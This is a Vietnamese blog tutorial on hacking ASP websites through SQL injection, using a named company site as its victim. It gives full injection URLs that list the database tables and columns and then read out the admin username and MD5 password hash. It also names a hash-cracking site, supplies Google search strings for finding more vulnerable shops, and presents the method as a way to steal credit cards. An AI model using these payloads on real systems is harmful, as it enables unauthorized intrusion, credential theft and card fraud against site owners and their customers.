Thực ra thì Cái lỗi này đã có từ rất lâu rồi. Những site dính hầu hết là các shop. Hjx lạc đề mất rồi
Thôy vào chủ đề chính luôn. Chúng ta bắt đầu nha.
Với tut này tớ lấy victim là site này nha.
http://tmetco.vn/
Ta vào tham quan chút nhỉ:
http://tmetco.vn/service.asp?nid=29
Xem site có dình bug ko
anh em thêm một dấu (') vào đằng sau đường link
http://tmetco.vn/service.asp?nid=29'
Nếu nó hiện ra như sau.
Quotation
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '29' order by new_id DESC'.
/service.asp, line 356
Dính bug rồi đấy.
Các bạn hãy nhớ cái phần chữ in đậm đó nha. Sau này gặp tình huống đó thì hãy xem tut này và thực hành nha.
- 1 câu hỏi đặt ra "Ta phải làm gì với bug này?"
==> xin thưa các bạn là: với bug này chúng ta có thể lấy được data Của website. từ đó ta có được user và pass admin. Mục đích Gần như là cao nhất khi đi hack là các bạn phải có được quyền cao nhất ở 1 site nào đó. Vậy ta lấy được user admin và pass admin. và bạn có thể làm gì với Account đó là tùy thuộc vào website đó.
Tiếp tục..................
Bây giờ chúng ta sẽ lấy table đầu tiên. bằng cách các bạn thêm đoạn code này vào sau đường link trên để có được table đầu tiên.
Quotation
and 1=convert(int,(select top 1 table_name from information_schema.tables))--
link sẽ được như sau.
http://tmetco.vn/service.asp?nid=29' and 1=convert(int,(select top 1 table_name from information_schema.tables))--
Nó sẽ hiện ra như sau
Quotation
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'tblAdmin' to a column of data type int.
/service.asp, line 356
Nó hiện ra như trên. Ta có table đầu tiên là tblAdmin
Tiếp tục lấy table thứ 2. khi đó đoạn code sẽ có dạng như sau
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('tblAdmin')))--
Nhớ đặt trong dấu ngoặc đơn nha.
link sẽ có dạng như sau
http://tmetco.vn/service.asp?nid=29' and1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('tblAdmin')))--
Và ta lại được table thứ 2 là dtproperties. Lấy table thứ 3 thì ta chỉ việc thêm tên table thứ 2 vào link trên là được.
Link sẽ có dạng như sau
http://tmetco.vn/service.asp?nid=29' and1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('tblAdmin','dtproperties')))--
Và cứ tiếp tục cho đến khi bạn lấy được table có khả năng có thông tin user và pass của admin.
Quotation
'tblAdmin','dtproperties','sysconstraints','sysseg ments','tblAboutus','tblCategory','tblContact','tb lCustomer','tbldi aller','tblImageAdv','tblIntro','tblNews','tblProd uct','tblProduction','tblSevice','tblsub'
Cái mà chúng ta quan tâm là nơi cất giữ thông tin user và pass admin.
nó thường năm ở các table như USER, ADMIN đại loại như vậy. với trường hợp trên. chắc là table tblAdmin. Nhưng cái thông tin đó nó lại nằm trong column cơ. column nghĩa là cột.
như vậy user sẽ nằm ở trong 1 cột nào đó. còn password thì nằm ở 1 cột nào đó.
Ta bắt đầu đi tìm column nhé.
có thể column chứa user và pass nằm trong table tblAdmin. do đó ta check ở tblAdmin đầu tiên nhá.
các bạn dùng code sau đây để tìm column nha.
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name not in('tblAdmin')))--
ta sẽ được link như sau
http://tmetco.vn/service.asp?nid=29' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name not in('tblAdmin')))--
Như vậy ta đã có column thứ nhất là 'id'
ta tiếp tục tìm column thứ 2
với đoạn code như sau.
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name not in('tblAdmin') and column_name not in('id')))--
link như sau
http://tmetco.vn/service.asp?nid=29' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name not in('tblAdmin') and column_name not in('id')))--
Ta có column thứ 2 là 'objectid'
cứ thế ta sẽ có tất cả column. Nhưng điều quan trọng là ta cần có 2 cái column chứa thông tin user và pass.
cái này các bạn nhìn vào tên column mà đoán đó có phải la 2 column đó ko.
Ở trường hợp này thì 2 column đó là adm_name,adm_pass
Vậy làm sao để đọc thông tin ở bên trong đó bây giờ nhỉ.
ta dùng đoạn code sau đây để đọc thông tin column đó.
and 1=convert(int,(select top 1 adm_name from tblAdmin))--
ta có link như sau
http://tmetco.vn/service.asp?nid=29' and 1=convert(int,(select top 1 adm_name from tblAdmin))--
và được user là stephanie
ta đọc thông tin column password
http://tmetco.vn/service.asp?nid=29' and 1=convert(int,(select top 1 adm_pass from tblAdmin))--
Và ta được: 286a6c49094abf7e1b84caaec47d555d ==> oạch cái gì đây vậy trờy.
pass đã được mã hóa md5. bạn có thể lên http://gdataoline.com để crack.
nhưng ko phải pass nào cũng crack được đâu nhá.
Nếu bạn crack được thì tìm link admin để login vào thôi.
Trên đây là quá trình Hack 1 website với ngôn ngữ ASP qua lỗi SQL injection.
thực sự bug này còn rất nhiều trên các site VN.
Các bạn có thể vô google để search với các từ khóa
allinurl:"product.asp?"
allinurl:".asp?"
còn nhiều từ khóa nữa.
Đây cũng là 1 trong những cách để hack shop kiếm cc đó.
tut đến đây là kết thúc.
Tôi ko chịu trách nhiệm nếu các bạn có hành vi phá hoại khi đã hack được rồi.
tôi mong rằng các bạn sẽ contact tới Admin để họ bik mà fix.
0 nhận xét: on "Hack site qua lỗi SQL Injection - hack shop"
Post a Comment
Cảm ơn BẠn đã đọc bài viết và ghé thăm ThuThuatViet.info Bạn có ý kiến thắc mắc hay bình luận gì về bài viết này vui lòng Điền Nội Dung Vào ô bên dưới để đưa ý kiến của bạn lên để chúng ta cùng thảo luận giúp Blog phát triển.Xin Cảm ơn BẠn